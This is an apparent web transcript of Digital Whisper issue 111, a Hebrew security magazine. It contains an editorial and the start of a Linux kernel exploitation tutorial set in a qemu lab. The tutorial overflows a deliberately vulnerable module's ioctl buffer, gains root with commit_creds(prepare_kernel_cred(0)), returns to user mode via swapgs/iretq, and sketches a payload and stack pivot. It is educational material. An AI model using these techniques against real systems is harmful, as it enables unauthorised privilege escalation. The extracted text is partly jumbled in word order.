- -7h3r3 15 n0 5p00n- Digital Whisper גליון 111, אוקטובר 2019 מערכת המגזין: מייסדים: מוביל הפרויקט: עורכים: כתבים: אפיק קסטיאל, ניר אדר אפיק קסטיאל אפ

גודל: px
התחל להופיע מהדף:

Download "- -7h3r3 15 n0 5p00n- Digital Whisper גליון 111, אוקטובר 2019 מערכת המגזין: מייסדים: מוביל הפרויקט: עורכים: כתבים: אפיק קסטיאל, ניר אדר אפיק קסטיאל אפ"

תמליל

1 - -7h3r3 15 n0 5p00n- Digital Whisper מערכת המגזין: מייסדים: מוביל הפרויקט: עורכים: כתבים: אפיק קסטיאל, ניר אדר אפיק קסטיאל אפיק קסטיאל תום חצקביץ',,Dvd848, YaakovCohen88 יובל יוחנן, אורית כהן, שי נחום, תומר איזנברג, נגה אור ואור הופרט-גרף יש לראות בכל האמור במגזין Digital Whisper מידע כללי בלבד. כל פעולה שנעשית על פי המידע והפרטים האמורים במגזין Digital Whisper הינה על אחריות הקורא בלבד. בשום מקרה בעלי Digital Whisper ו/או הכותבים השונים אינם אחראים בשום צורה ואופן לתוצאות השימוש במידע המובא במגזין. עשיית שימוש במידע המובא במגזין הינה על אחריותו של הקורא בלבד. פניות, תגובות, כתבות וכל הערה אחרת - נא לשלוח אל editor@digitalwhisper.co.il

2 דבר העורכים ברוכים הבאים לגליון ה- 111 של,DigitalWhisper גליון אוקטובר! תקופת החגים כבר כאן, מה שמגדיל את הסיכוי לכך שאתם קוראים את הגליון מחוץ לביתכם )אצל ההורים? בנופש בצפון? באיזו בירה אירופאית? באמצע טרק במזרח וטיפסתם על הר מאוד גבוה כדי למצוא קליטה מספקת כי אתם יודעים שהגליון ה- 111 עומד לצאת?(, ואם זה אכן המצב - בטח יצא לכם לשאול את עצמכם בזמן ההכנות לטיול האם לקחת איתכם גם את הלפטופ. מצד אחד - אין תחליף ל- Setup הביתי, אך מצד שני - להתחבר עם הלפטופ לכל מני רשתות חשודות ומזדמנות זה לא הכי מומלץ, או גרוע מכך - המחשב יכול להגנב, להשבר או סתם ללכת לאיבוד... מצד שלישי, לא לקחת את הנייד לטיול - זה גם סיכון, אם תדרשו לבצע פעולה באחד החשבונות שלכם, ופעולה זו אינה ניתנת לביצוע דרך הסמארטפון שלכם - אתם תדרשו ככל הנראה להקליד את הסיסמאות שלכם על מחשב ציבורי / של מישהו אחר - גם משהו לא מומלץ. כשמדובר בטיול של שבוע-שבועיים, ברב המקרים יהיה ניתן לדחות את המשימות הללו, אך כאשר טסים לטיול ארוך ובכל זאת מעוניינים לשמור על האפשרות של לעבוד בסביבה האישית, הדילמות מתחילות לעלות. פגשתי שלל אנשים עם שלל פתרונות לבעיה הזו: מפתרונות נאיבים של "אני פשוט אגלוש ב- Private DoK על Portable KeePass+Portable Browser דרך פתרונות מתחכמים יחסית בסגנון של "Mode שמוצפן ב- TrueCrypt, ועד פתרונות סמי-יעילים כמו מחשב יעודי לטיולים וגם מעט יותר מופרעים / מוגזמים: LiveLinux / Portable VirtualBox על IronKey עם מערכת הפעלה מינימלית וחתומה, שיודעת לחייג לשרת VPN בענן שעליו יש Client של TeamViewer חתום דיגיטלית, וכמובן - החיבורים אך ורק עם ( מישהו שמשתמש בכזה פתרון עדיין לא פגשתי... )סתם, רק מה- VPN שנשלט ו- PoE Ubikey,2FA אך בכל פתרון מהפתרונות שפגשתי תמיד בלט איזשהו חסרון, חלקם היו לא באמת יעילים )כי אם יש KeyLogger על העמדה - כלל הסיסמאות ממנהל הסיסמאות יגנבו(, חלקם היו לא רלוונטים )כי מחשב הטיולים נהפך בן-רגע להיות נכס שגם עליו צריך להתחיל להתחיל להגן( וחלק היו פשוט מסורבלים מדי )כי מי ירים עכשיו VM וכו' רק בשביל לבדוק משהו קטן באיזה חשבון? ולכו תשברו את הראש עכשיו עם Troubleshooting DHCP או משחק חתול-ועכבר עם ה- NAC ברשת של המלון...( עדיין לא פגשתי פתרון טוב לבעיה הזו )אבל אני בטוח שקיים אחד כזה(, כזה שבאמת יידע להתמודד מול איומים שסביר שנתקל בהם במהלך הטיול אך מצד שני לא יידרוש מאיתנו יותר מדי הכנות ולוגיסטיקה. 2 דבר העורכים

3 ב יצאתי לטיול של כמעט חצי שנה באיזורים עם תשתיות אינטרנט רעועות עד לא קיימות, ובחלק מהחודשים המגזין היה עדיין פעיל. בגלל שמדובר באירוע שאני יודע לתזמן )באופן מפתיע, היום האחרון של כל חודש - אכן יוצא תמיד בסוף החודש!( יכולתי לתכנן את הטיול באופן כזה שבמידת האפשר אהיה ליד מחשב בסוף החודש. וכמובן שגם היה את ניר שעבד מהארץ ודאג להכל. אך עם זאת, עדיין היו מקרים שבהם נדרשתי לבצע עריכה מחו"ל ולא לקחתי איתי מחשב נייד. הפתרון שלי היה לקחת מראש Portable Word עם תמיכה בעברית על,SD Card מתאם,OTG וקורא כרטיסים קטן שיאפשר לי לקרוא את תוכן הכרטיס מכל מחשב. וכמובן - סמארטפון עם כרטיס.SIM כל מה שיכולתי לבצע מהסמארטפון - הקשר עם הכותבים דרך האימייל, כניסה למערכת הניהול של האתר, העלאת התוכן לשרתים ולמערכת האתר - בוצע דרך הסמארטפון. כאשר נדרשתי לבצע עריכה, הורדתי את התוכן לכל מחשב אקראי דרך ה- Card SD עם קורא הכרטיסים, פתחתי את ה- Word Portable וכשסיימתי את העריכה - שמרתי הכל על הכרטיס, העברתי לסמארטפון - והמשכתי לבצע הכל דרכו. הפתרון היה יחסית נח, אך רק בגלל שיכולתי לדעת מראש מה הם כל הדברים שאצטרך. אם הייתי נדרש לפתור בעיה שהייתה דורשת ממני לעשות דברים מעט מעבר לעריכת קבצים, כנראה שהייתי נדרש להתפשר על רמת ביטחון המידע שלי. כאמור, לא מצאתי פתרון גנרי שיהיה מספיק נח גם למשימות מורכבות יותר. יכולתי למצוא חסרונות די ברורים עבור כל אחד מהפתרונות שמצאתי באינטרנט. וברור לי שזאת בעיה שרבים נתקלים בה, כך שמעט מוזר לי שהיא עדיין לא נפתרה בצורה תשתיתית או שלא קמה איזו חברה עם פתרון מספיק טוב ומאובטח. אולי אני סתם מגזים והבעיה לא כזו נפוצה? מה הפתרונות שלכם? וגם - שתהיה שנה טובה ובטוחה לכולנו! ולפני שנגש לתוכן הגליון, נרצה להודות לכל מי שהשקיע החודש מזמנו וממרצו כדי לכתוב מאמר. תודה רבה לתום חצקביץ', תודה רבה ל- Dvd848, תודה רבה ל- YaakovCohen88, תודה רבה ליובל יוחנן, תודה רבה לאורית כהן, תודה רבה לשי נחום, תודה רבה לתומר איזנברג, תודה רבה לנגה אור ותודה רבה לאור הופרט-גרף! קריאה נעימה, אפיק קסטיאל וניר אדר 3 דבר העורכים

4 תוכן עניינים דבר העורכים תוכן עניינים First Steps to Linux Kernel Exploitation 33 סדרת אתגרי Check Point CSA Having Fun With Binary Formats 202 המארב הפרוע - SRUM ומבט לעתיד עולם ההגנה 226 האבולוציה של אבטחת רשתות WI-FI 239 דברי סיכום 4 תוכן עניינים

5 First Steps to Linux Kernel Exploitation מאת תום חצקביץ' הקדמה בשנה-שנתיים האחרונות יצא לי להשתתף בלא מעט תחרויות,CTF מבין מגוון הקטגוריות הקיימות בתחרויות התחברתי במיוחד לקטגוריית ה- exploitation binary או,pwn איך שתקראו לזה. בקטגוריה זו בדרך כלל נקבל קובץ הרצה )אם יתמזל מזלנו נקבל גם את קוד המקור של הקובץ( ולעיתים גם את גירסת ה- libc על השרת. נצטרך לנתח את התנהגות התוכנית )לרוורס בצורה סטטית או לדבג דינאמית(, ולבסוף גם לעלות על חולשה כלשהי בקוד אשר יכולה להעניק לנו יכולת הרצת קוד על המחשב )ברוב המקרים(. לאחר שנמצא את החולשה נצטרך לכתוב,exploit אותו נריץ על התוכנית אשר תרוץ על שרת מרוחק במטרה לקרוא את קובץ הדגל )בעזרת הרצת הקוד שהשגנו( ולסיים את האתגר. דבר מרכזי ששמתי לב אליו במהלך ה- CTF -ים, זה שהרוב המוחלט של האתרים עוסקים בניצול חולשות בתהליכים הרצים ב- Mode.User תמיד עיניין אותי תחום ה- exploitation,kernel מה אני יכול לעשות במידה ואצליח לדרוס כתובת חזרה בקרנל? לאן אני אמור לקפוץ? מה יקרה אם אשכתב/אדרוס משתנים ומבני נתונים במערכת ההפעלה? ומה לעזאזל עלול לקרות כתוצאה מכל זה? הסקרנות הרגה אותי והחלטתי לחפש, לחקור, וללמוד את הנושא. במאמר זה אציג את השלבים הראשונים שלמדתי בתחום ה- exploitation kernel במערכת ההפעלה- מה ניתן לעשות, כיצד ניתן לעשות, ובעיקר את הבסיס שיפתח לכם את שער הכניסה ל- kernel.,linux המאמר איננו הולך לעסוק במחקר/ניצול חולשות במערכת ההפעלה אלא בניצול חולשות המתרחשות במצב בו אנו רצים ב- Mode Kernel בכלליות. במהלך המאמר אסביר על מושגים ספציפיים, אך אני יוצא מנקודת הנחה שקורא המאמר עוסק/עסק בתחום ה- exploitation,binary או מכיר ומבין את הנושאים הבאים: linux kernel modules C & Assembly buffer overflow 5 First Steps to Linux Kernel Exploitation

6 הכנה Kernel module בגדול ב- Mode Kernel יכולים לרוץ 2 סוגים של קוד: הראשון זהו קוד הקרנל במערכת ההפעלה המכיל את החלקים הבסיסיים לריצת המערכת ביניהם מנהל הזיכרון, מנהל התהליכים, מערכת הקבצים וכו', בקיצור - הקרנל של מערכת ההפעלה אותה אנו מתקינים. הסוג השני של הקוד אשר רץ ב- Mode Kernel הינו קוד המגיע מ- modules :kernel "Kernel modules are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. Without modules, we would have to build monolithic kernels and add new functionality directly into the kernel image. Besides having larger kernels, this has the disadvantage of requiring us to rebuild and reboot the kernel every time we want new functionality. ( - linux documentation) אז Kernel Module זהו קוד אשר ניתן לכתוב, לקמפל, ולטעון )ניתן גם לשחרר/למחוק אותו מהמערכת( לתוך מערכת ההפעלה כ"תוסף" לקרנל עם עליית המחשב )קוד שירוץ ב- Mode.)Kernel חשוב להדגיש שה- Module Kernel לא מהווה חלק מהקרנל המקורי של מערכת ההפעלה ולא מגיע כחלק מההתקנה. אז במידה ונרצה לחפש חולשות ברמת הקרנל נוכל לחפש חולשות בקרנל של מערכת ההפעלה, ונוכל גם לחפש חולשות ב- modules kernel הנטענים לקרנל ורצים בקרנל ב- CTF -ים שראיתי שעסקו ב- exploitation kernel בדרך כלל האתגרים עסקו סביב Kernel Module פגיע. בהמשך המאמר ננצל חולשה בקוד של kernel module שנטען למערכת ורץ בקרנל. 6 First Steps to Linux Kernel Exploitation

7 שער הכניסה לקרנל כאשר אנו עוסקים בתוכניות הרצות ב- Mode User בדרך כלל ה- input שלנו יגיע דרך ה- stdin )לפעמים input לא גם מתוך קבצים ואולי בכלל מהרשת(. על מנת לשבש את ריצת התוכנית נצטרך להכניס לגיטימי )ארוך מידי/קצר מידי/תווים לא קריאים וכו'...(. כעת אנו נרצה לשלוח input או לשנות ערך כלשהו בקובץ/מבנה נתונים כך שאנו נכניס את ה- input שלנו לקרנל. למעשה אנו רוצים שפונקציה כלשהי אשר רצה ב- Mode Kernel תשתמש בערכים שאנו שולטים בהם. אם בקרנל ישנה פונקציה אשר עובדת עם סטרינגים נרצה לשלוח לה סטרינג. זאת נוכל לעשות לדוגמה בעזרת: שימוש ב- ioct -ים device כתיבה ל- files קריאה ל- calls system )עם פרמטרים( ועוד ב- Mode.User שאנו שולטים בו data כתוצאה מכך נוכל למעשה להריץ פונקציה בקרנל עם במידה ונמצא לדוגמה system call עם סיכוי ל- overflow buffer נוכל לקרוא ל- call system עם פרמטר כרצוננו )לדוגמא - סטרינג מאוד ארוך( ואז כבר יהיה מעניין לאחר שהבנו איזה קוד רץ בקרנל, מהיכן הוא מגיע, כיצד אנו יכולים להריץ את הקוד, ואפילו לשלוח לו פרמטרים, הגיע הזמן לנסות ולנצל קוד פגיע שרץ בקרנל. בתור תרגיל ללמידה אנו נכתוב kernel module פגיע, נטען אותו לקרנל, וננסה לנצל את החולשה. את linux נקייה ללא שום הגנות מודרניות )נתחיל בקטן( על אמולטור התרגיל נבצע על מערכת הפעלה.qemu הכנת הסביבה את כל המשחקים והתקיפה אנו נעשה על מכונת לינוקס שתרוץ באימולטור.qemu אני עושה זאת בעיקר על מנת שאוכל לקמפל את מערכת ההפעלה לפי הקינפוגים שמתאימים לאתגר שלנו )שלא יכיל הגנות למינהן(, אז אנו נצטרך להוריד קוד מקור של גירסת לינוקס )אני אשתמש בלינוקס בגירסה (. בנוסף לכך אנו צריכים מערכת קבצים אז גם אותה ניצור )נשתמש ב- ext2 (. במערכת הקבצים יצרתי 2 משתמשים שיהיו זמינים, אחד user )וסיסמה: )user בו אנו נשחק את המשחק ונעבוד, וקיים גם משתמש.)root )וסיסמה: root 7 First Steps to Linux Kernel Exploitation

8 כך נראה :Kernel Module 8 First Steps to Linux Kernel Exploitation

9 זהו קוד C של ה- Module Kernel עליו נעבוד וננסה לנצל את החולשה בו: ה- Module. הפונקציה אחראית לאתחל את הפונקציה אשר תורץ ברגע טעינת - init_module המודול, במקרה שלנו ליצור device file עם תכונות file_operations שיתמוך ב- ioctl -ים שלנו. - cleanup_module הפונקציה תורץ ברגע שנשחרר את המודול. הפונקציה אחראית לשחזר את ה- file device המערכת למצב המקורי )לפני טעינת המודול(. במקרה שלנו להסיר את רישום מהמערכת. ioctl ומריצה את המשימה - פונקציית ניהול ה- ioctl -ים, מקבלת מספר מזהה של device_ioctl עבורו. במקרה שלנו קיים ioctl עם מספר מזהה 1337 אשר מקבל פרמטר סטרינג, מעתיק אותו ל- Buffer מקומי, ומדפיס הודעה הכוללת את הפרמטר שלנו. טעינת Kernel Module לצורכי נוחות אנו לא נטען את המודול שקימפלנו בצורה ידנית כל פעם שנדליק את המכונה )בגלל שאנו נעשה זאת מספר רב של פעמים במהלך הדיבוג ובניית האקספלוייט וחבל על הזמן שלנו(, לכן מה שנעשה אנו נטען את ה- Module Kernel בתהליך עליית המחשב בסקריפט.init כעת נדליק את המכונה ונראה שהכל עובד ובמקום: נראה שהכל עלה בצורה תקינה, ה- Module Kernel טעון, ואנחנו במשתמש חסר ההרשאות )לא ה- root (. אפשר להתחיל. 9 First Steps to Linux Kernel Exploitation

10 להריץ, לרוורס, להבין האינטרקציה שלנו עם המודול )הכנסת קלט( תהיה בעזרת ioctl -ים. בשונה מאקספלויטים שאני כותב ל- User Mode ב- python, הפעם אני אכתוב אקספלויט ב- C, זאת משום שאנו נידרש לגעת בפונקציות קרנליות, לשחק הרבה עם זיכרון, מצביעים וכו'. נתחיל משליחת Buffer לגיטימי ל- ioctl : במהלך התרגיל אנו נצטרך לקמפל את האקספלויט PIE ללא )נבין בהמשך למה(, ולהכניס אותו לתוך מערכת הקבצים של המכונה. על מנת לחסוך בזמן נאגד את כל הפקודות בסקריפט bash שיעשה: gcc exploit/exploit.c mount rootfs.ext2 tmpfs cp exploit/exploit tmpfs umount tmpfs sudo./prepare.sh./run.sh נקמפל הכל: )לא לשכוח :)sudo ונריץ: 20 First Steps to Linux Kernel Exploitation

11 התוצאה: הפעם אין צורך לרוורס, יש לנו את הקוד מקור של המודול. לפי הקוד מקור וריצת התוכנית זיהינו והבנו מה קורה - קיים ioctl שמקבל Buffer מהמשתמש ומעתיק אותו ל- Buffer בקרנל. לבסוף המודול ידפיס הודעה עם ה- Buffer שסיפקנו לו. זיהוי החולשה: מאוד פשוט לזהות את החולשה בקוד. בפונקציה,device_ioctl ב- ioctl מספר 1337 אנו מעתיקים Buffer המגיע מה- Mode User )אורך אינו ידוע-יכול להיות כל דבר משום שזהו ערך בשליטה מלאה מה- User )Mode אל תוך Buffer מקומי בקרנל בגודל 20 בתים, וזאת ללא שום בדיקה לפני כן. מה עלול לקרות? ניחשתם נכון - Overflow!Buffer במידה וה- Buffer של המשתמש יהיה ארוך מספיק אנו למעשה נעתיק את כולו אל תוך ה- Buffer המקומי בפונקציה device_ioctl הרצה ב- Mode.Kernel משום שזהו משתנה מקומי הוא ישב על ה- stack של אותו התהליך )ה- stack )kernel וברגע ההעתקה אנו נדרוס את כתובת החזרה היושבת במחסנית ולמעשה נשבש את הריצה התקינה של הפונקציה )נקפוץ לכתובת לא ממופת או לכל מקום שנכוון את ה- flow של התוכנית(. שוב, וזה כבר יהיה בקרנל. לכל תהליך יש 2 מחסניות, המחסנית הרגילה שאנו מכירים ב- Mode,User ומחסנית נוספת ב- Kernel Mode על מנת לנהל את זרימת התהליך כאשר הוא עובר ל- Mode.Kernel 2 המחסניות משמשות לאותו התפקיד, לפתוח stack frames לפונקציות הרצות, לשמור משתנים מקומיים, ולשמור כתובות חזרה. המחסנית ב- Mode Kernel Buffer ממש גדול: לרוב קטנה מאוד יחסית למחסנית ב- Mode.User בואו נבדוק זאת: נשלח 22 First Steps to Linux Kernel Exploitation

12 [שימו לב למקום אליו קפצנו - לערך של ]rip 22 First Steps to Linux Kernel Exploitation

13 כמו שציפינו שיקרה: הכנסנו Buffer ממש גדול, המודול העתיק אותו אל תוך Buffer )קטן יותר( במחסנית של הקרנל, וכך בעצם דרסנו את כתובת החזרה שיושבת במחסנית. כשה- Module סיים את ריצת הפונקציה שלו הוא חזר לכתובת ששמורה במחסנית )כתובת החזרה(, במקרה שלנו דרסנו אותה עם AAAAAAAA והוא קפץ לכתובת 0x )ערך האסקי של התו A בהקסא = 41(. הכתובת הזו כמובן לא ממופת בזיכרון ו אופס קיבלנו!segmentation fault אז אנחנו שולטים בכתובת החזרה ויש באפשרותנו לקפוץ להיכן שבא לנו. אבל השאלה שאני שאלתי את עצמי בהתחלה, זה לאן באלי לקפוץ? ב- CTF -ים שהיו ב- Mode User הייתי קופץ לאיזה shellcode שיתן לי הרצת קוד, מדליף כתובת ב- libc וקופץ ל- system עם /bin/sh או אולי איזה ROP Chain וכו'. אך מסתבר שב- Kernel הסיפור הוא ממש דומה, אנו יכולים לעשות הכל כמו ב- Mode User )מימוש קצת שונה אבל רעיון דומה( ולקבל.shell אבל רגע, אנחנו בקרנל, למה שלא נעשה קצת שטויות? ברוב המקרים נרצה להשיג הרשאות גבוהות לתהליך ממנו אנו רצים, פעולה זו תתן לנו את האפשרות להריץ קוד בהרשאות root על המערכת. אבל בתכלס אנחנו יכולים לעשות מה שרק עולה לנו לראש, בין אם זה לשנות כתובת של,system call handler לכתוב לזיכרון, לדיסק, בקיצור להשתגע עד שנרגיש שזה מספיק לנו )כמובן בלי לשבור יותר מידי את המערכת(. במשימה הראשונה שלנו אנו ננסה לקבל הרשאות root בתהליך שאנחנו רצים בו, ולאחר מכן לחזור ל- UserMode על מנת להריץ קוד עם ההרשאות שהשגנו. 23 First Steps to Linux Kernel Exploitation

14 קצת על הרשאות בלינוקס בחלק זה אסביר ממש על קצה המזלג על ההרשאות שיש במערכת ההפעלה.linux מערכת הרשאות זו מתבססת על משתמשים,)users( לכל משתמש יש מזהה )id( משלו המייחד אותו. את המזהה ניתן לראות בכל רגע נתון על ידי הפקודה id שתציג לנו משהו בסגנון: זהו משתמש ה- user שלנו במכונה, והוא חסר הרשאות. בנוסף קיימים משתמשים שלהם יש הרשאות מערכת גבוהות ובדרך כלל הם נקראים,root מה מייחד אותם? כמובן רמת ההרשאות שלהם )עושים מה שבא להם(, אך גם המזהה שלהם. למשתמש root יהיה id שהוא 0, וכך בעצם מערכת ההפעלה תוכל לזהות אותו שהוא בעל הרשאות גבוהות. נעבור למשתמש ה- root שלנו ונראה זאת: איפה ברמת מערכת ההפעלה כתוב ה- id של המשתמש, וכיצד מערכת ההפעלה מזהה מי בעל הרשאות ומי לא? שוב, ממש בזריזות: בקרנל יש מבנה נתונים בשם task_struct המכיל מידע הרלוונטי למערכת ההפעלה לגבי התהליך, המשתנה current מצביע לתהליך הנוכחי שרץ, בתוכו מצביע cred שמתאר את המזהים של המשתמשים. מבלבל... אך בעיקרון current->cred->euid מכיל את ה- id של התהליך. אם אנחנו נשנה ברמת מערכת ההפעלה את המשתנה שמתאר את ה- id של המשתמש שלנו ל- id של משתמש בעל הרשאות )root( שזה id מספר 0, מערכת ההפעלה תראה בנו כתהליך שרץ כמשתמש.root אחלה, אז הבנו את הקונספט של משתמשים והרשאות בגדול. מה אנחנו מסיקים מכך? אם אנחנו נכנסנו ל- Mode Kernel מתהליך שהורץ על ידי משתמש רגיל )חסר הרשאות גבוהות במקרה שלנו המשתמש(, אנו נרצה לשנות את מתאר ה- id user במבנים של מערכת ההפעלה על מנת שתראה בנו משתמש בעל הרשאות. אז המטרה שלנו בעצם היא לגרום לכך ש: current->cred->euid=0 אתם בטח שואלים את עצמכם איך בדיוק נעשה זאת? "מה, עכשיו נצטרך לבנות איזה shellcode מטורף בקרנל שישנה את הערך של המשתנה הנ"ל ל- 0?" אז כן, בעיקרון זאת אפשרות - לכתוב shellcode ולשנות את ה- id ל- 0 אבל יש דרך הרבה יותר פשוטה! קיימת פונקציה קרנלית שעושה זאת בשבילנו: 24 First Steps to Linux Kernel Exploitation

15 prepare_kernel_cred - This calls prepare_kernel_cred(0),returns a pointer to a struct cred with full capabilities and privileges (root). cred root הפונקציה מקבלת פרמטר )במקרה שלנו אנחנו רוצים אז נשלח 0( ומחזירה מבנה נתונים שמכיל את ההרשאות של משתמש בעל id עם הערך 0: commit_cred - applies the credentials to the current task הפונקציה משנה את מבנה הנתונים cred של התהליך הנוכחי, במבנה הנתונים שהיא מקבלת. אם נחבר הכל יחד נקבל 2 פונקציות שיעשו בשבילנו את העבודה - יהפכו את התהליך שלנו לתהליך בעל הרשאות :root commit_creds(prepare_kernel_cred(0)); ret2user אוקיי אז קיבלנו הרשאות של root אבל אנחנו עדיין לא יכולים להריץ פקודות.Shell אל תשכחו שאנחנו אנחנו צריכים לחזור ל- Mode.User Shell עדיין רצים ב- Mode,Kernel ועל מנת להקפיץ לנו אז ל- Mode Kernel נכנסו יחסית בקלות, רק היינו צריכים לקרוא ל.ioctl- השאלה עכשיו היא איך יוצאים חזרה ל- Mode,User בצורה בטוחה ונכונה, מבלי לשבש את המערכת או להקריס אותה. בעיקרון על מנת לחזור מ- Mode Kernel אנחנו חייבים לשחזר מספר דברים: את הרגיסטרים SS ואת CS שיכילו descriptor מתאים - של ה- Mode User 1. רגיסטר ה- SP שיצביע לאיזור ממופה ומתאים בזיכרון כדי שתהיה לנו מחסנית 2. רגיסטר ה- IP על מנת להריץ קוד כלשהו שהוא כבר ב- Mode User 3. רגיסטר ה- FLAGS 4. זאת אנו נעשה בעזרת פקודת אסמבלי שמשמשת בדיוק לחזרה מ- Mode :Kernel iret - pops from the stack IP, CS, EFLAGS, SP, SS במקרה שלנו אנו נשתמש בפקודה.iretq הפקודה עושה בדיוק את אותו הדבר רק עם ערכים של 64 ביט. בנוסף לכך נצטרך להריץ swapgs לפני החזרה ל- Mode User )רק ב- 64 (. לא נתעקב על כך יותר מידי, אבל בקיצור: swapgs - exchanges the current GS base register value with the value contained in MSR address, which store references to kernel data structure. אז לסיכום: swapgs ו- iretq יחזירו אותנו ל- Mode.User 25 First Steps to Linux Kernel Exploitation

16 כעת, לאחר שקיבלנו הרשאות, ויצאנו מה- Mode Kernel חזרה ל- Mode,User מה אנו צריכים לעשות? במידה ואנחנו מרוצים מהמצב שיצרנו )קיבלנו הרשאות גבוהות( אז הכל טוב ויפה אפשר להמשיך בריצת התוכנית מאיפה שהפסקנו. אבל אותנו לא מעניין התהליך שרץ, אנחנו רוצים הרצת קוד על המערכת על הרשאות root צריכים להקפיץ לנו./bin/sh לכן אנחנו זאת אנו יכולים לעשות בקלות רבה. באקספלויט שלנו מלכתחילה נכתוב איזו פונקציה שתריץ לנו: system("/bin/sh"); את האקספלויט נקמפל ללא PIE )ה- segment code לא ירונדר ואנו נדע את הכתובות של הפונקציות שלנו( וכך נוכל לדעת לאיזה IP לחזור )לפונקציה שתקפיץ לנו )SHELL אחרי שנצא מה- Mode.Kernel האקספלויט יאללה! דיברנו מספיק, בואו נכתוב קצת קוד. אסכם בנקודות את המשימות שלנו על מנת להגיע למטרה הסופית - הרצת קוד על המחשב commands( )shell עם הרשאות :root 1. לכתוב payload שיכיל מספר רב תוים )ימלא את ה- Buffer בקרנל עד כתובת החזרה( ולבסוף את כתובת החזרה שאנו רוצים 2. להריץ את הפונקציות: commit_creds(prepare_kernel_cred(0)); ולקבל הרשאות root לצאת מה- Mode Kernel בצורה בטוחה מבלי לפגוע במערכת לקפוץ לפונקציה ב- Mode User שתקפיץ לנו shell להרצת קוד עם הרשאות root.3.4 כתיבת ה- payload : עד שנדרוס את כתובת החזרה. ב- Buffer ראשית עלינו לדעת כמה בתים עלינו למלא נשתמש באתר הבא: 26 First Steps to Linux Kernel Exploitation

17 על מנת למצוא את הoffset לכתובת החזרה מתחילת ה- Buffer שלנו: לפי מה שאנו רואים, על מנת לדרוס את כתובת החזרה עלינו לשלוח למודול סטרינג שמורכב מ: לא משנה איזה העיקר למלא את ה- Buffer )Bytes( תווים 28? בתים המייצגים את כתובת החזרה שינוי רמת ההרשאות: כפי שאמרנו מקודם, על מנת לשנות את רמת ההרשאות הנוכחית אנו זקוקים לשני פונקציות קרנליות: prepare_kernel_cred commit_creds אבל מה הכתובת שלהן? לאן אנו אמורים לקפוץ? הן הרי לא נגישות מה- Mode User )שם אנו טוענים + מריצים את האקספלויט(. התשובה לכל השאלות האלה, היא: /proc/kallsyms קובץ זה מכיל רשימה של כל הסימבולים בקרנל )גם כאלו שנטענו עם kernel modules המחשב( ואת הכתובת שלהם בזיכרון: לאחר עליית 27 First Steps to Linux Kernel Exploitation

18 בתמונה ניתן לראות סימבולים מהקרנל ומה- Module שטענו. של הפונקציות prepare_kernel_cred ו- commit_creds : אז בעצם אנחנו יכולים לדעת את הכתובת יש לנו כתובות, בואו נשחק קצת עם מצביעים מה עשינו כאן? הצהרנו על מצביעים לפונקציות, התחלנו אותם,kallsyms וקראנו להריץ אותם. בכתובות שלהם על פי מה שמצאנו ב- הגענו לחצי הדרך, בואו נבדוק שאכן הכל רץ כמתוכנן, ואנחנו קופצים לפונקציה שלנו: :kernel_exploit 28 First Steps to Linux Kernel Exploitation

19 ]exploit.c[ 29 First Steps to Linux Kernel Exploitation

20 מכיוון שקימפלנו את האקספלויט שלנו ללא PIE אנו יכולים לדעת את הכתובת של הפונקציה :)bp ולדבג בצורה פשוטה יותר )לדעת היכן לשים kernel_exploit אז הכתובת של הפונקציה היא: 0x נריץ את המכונה, נתחבר אליה עם,gdb ונשים break point בכתובת של הפונקציה אליה אנו מצפים לחזור: 20 First Steps to Linux Kernel Exploitation

21 נריץ כעת את האקספלויט: מוזר... לא תפסנו שום...break point ואפילו קיבלנו!Segmentation fault 22 First Steps to Linux Kernel Exploitation

22 בואו נראה מה קרה: הפעם נשים break point בחזרה מהפונקציה- device_ioctl, משם אנו אמורים לקפוץ לכתובת שאנו רוצים: נריץ את האקספלויט: אוקיי, עצרנו רגע לפני שאנו מבצעים ret לערך הכתוב בכתובת של.rsp אבל רגע, מה זה? אנחנו רוצים לחזור ל- 0x400652, למה אנו חוזרים ל- 0xffffffff ? אם תסתכלו טוב תראו שהכתובת שאנו חוזרים אלייה מכילה את הכתובת שאנו רוצים לחזור, אבל לא בשלמותה. מהיכן הגיעו המספרים 0xffffffff81? 22 First Steps to Linux Kernel Exploitation

23 בואו נסתכל שנייה שוב ב- Module :Kernel עכשיו הכל מובן שימו לב שאנחנו מעתיקים מה- Buffer של המשתמש ל- Buffer של הקרנל את מספר הבתים ש- strlen מחזיר לנו. strlen מחזיר את הגודל של הסטרינג עד שהוא נגמר - וב- C סטרינג נגמר כאשר יש.NULL \x41 * 28 + \x52\x06\x40\x00\x00\x00\x00\x00 אנחנו שולחים לקרנל )בהקסא(: \x41 * 28 + \x52\x06\x40 אבל מה שמועתק ל- Buffer של הקרנל זה )עד ה- null (: אנחנו דורסים רק 3 בתים מכתובת החזרה. שאר המספרים שאנו רואים אלו הערכים של כתובת החזרה המקורית שנשארו במקומם פשוט )כי לא דרסנו אותם(. מפה לשם כנראה אנו קופצים לכתובת לא ממופת ומקבלים.Segmentation fault מה נעשה על מנת להתגבר על הבעיה? נחשוב יצירתי, ונלך טיפה עקום על מנת לקפוץ לאן שאנו רוצים. בעיקרון המטרה שלנו היא לקפוץ לכתובת 0x400652, במילים אחרות אנחנו רוצים שהערך 0x יהיה ברגיסטר,rip זאת מבלי לשלוח את הכתובת ב- payload לקרנל - משום שהכתובת לא תועתק בשלמותה כפי שראינו כבר. מה שאנחנו יכולים לעשות זה לשנות את הערך של rsp לכתובת שאנחנו שולטים בה ב- Mode User )שם לשים את כתובת החזרה ל- 0x400652,)kernel_exploit - ולאחר מכן לחזור )ret( לכתובת שכתובה ב- rsp שאנחנו שמנו. mov rsp, 0x ; ret לדוגמה, gadget כמו: במידה ומלחתחילה )ב- Mode )User נמפה את הזיכרון הנל )או נבחר זיכרון ממופה כבר(, נשים בו את הכתובת של הפונקציה אליה אנחנו מכוונים לחזור, כאשר ה- gadget הנל יורץ הקרנל בעצם יחליף את מצביע המחסית שלו לכתובת שאנחנו בחרנו ושלטנו, ויחזור לכתובת שכתובה בו )במחסנית החדשה(. 23 First Steps to Linux Kernel Exploitation

